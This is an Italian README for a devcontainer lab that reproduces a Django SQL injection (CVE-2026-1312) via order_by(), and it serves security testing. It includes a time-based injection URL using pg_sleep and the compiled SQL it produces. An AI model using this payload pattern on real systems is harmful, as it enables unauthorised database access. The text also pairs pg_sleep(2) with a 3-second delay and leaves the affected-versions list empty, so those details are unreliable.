
Riproduce CVE-2026-1312, una vulnerabilità di SQL injection in Django, con un ambiente Dockerizzato e PoC passo-passo per i test di sicurezza.
CVE-2026-1312 è una vulnerabilità SQL injection ad alto rischio in Django: quando si utilizza un alias di colonna contenente un punto in QuerySet.order_by(), combinato con FilteredRelation per costruire dinamicamente una query tramite l'espansione di un dizionario, un attaccante può iniettare SQL dannoso
Versioni interessate:
Questo progetto di vulnerabilità utilizza il devcontainer di vscode per la costruzione
1️⃣ Aprire il progetto Aprire con VS Code la directory principale del progetto esistente (che contiene la cartella .devcontainer).
2️⃣ Riaprire il contenitore (costruire il Dev Container)
Premere Ctrl+Shift+P (Windows/Linux) o Cmd+Shift+P (Mac)
Digitare Remote-Containers: Reopen in Container
VS Code leggerà la configurazione .devcontainer e costruirà il contenitore (la prima costruzione potrebbe richiedere alcuni minuti)
⚠️ Se il Dockerfile o le dipendenze sono state aggiornate, è possibile selezionare Remote-Containers: Rebuild Container per garantire l'uso dell'ambiente più recente.
3️⃣ Eseguire il server di sviluppo Django
Aprire il pannello comandi con Ctrl+Shift+P
Digitare Tasks: Run Task
Selezionare django:start (l'attività è già configurata in .vscode/tasks.json)
Questa attività avvierà il server di sviluppo Django all'interno del contenitore
In ascolto predefinito su 0.0.0.0:8086
4️⃣ Aprire il browser e accedere al progetto
Aprire il browser e visitare:
5️⃣ Note
Prima esecuzione:
Potrebbe essere necessario eseguire le migrazioni del database:
python manage.py migrate
Accedere all'interfaccia /book/search, http://localhost:8086/book/search?name=vuln_book.id,pg_sleep(2)
Si può osservare un ritardo di 3 secondi, che conferma il successo
A questo punto la SQL compilata a livello di ORM di Django è
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" ORDER BY ("vuln_book".id,pg_sleep(2)) ASC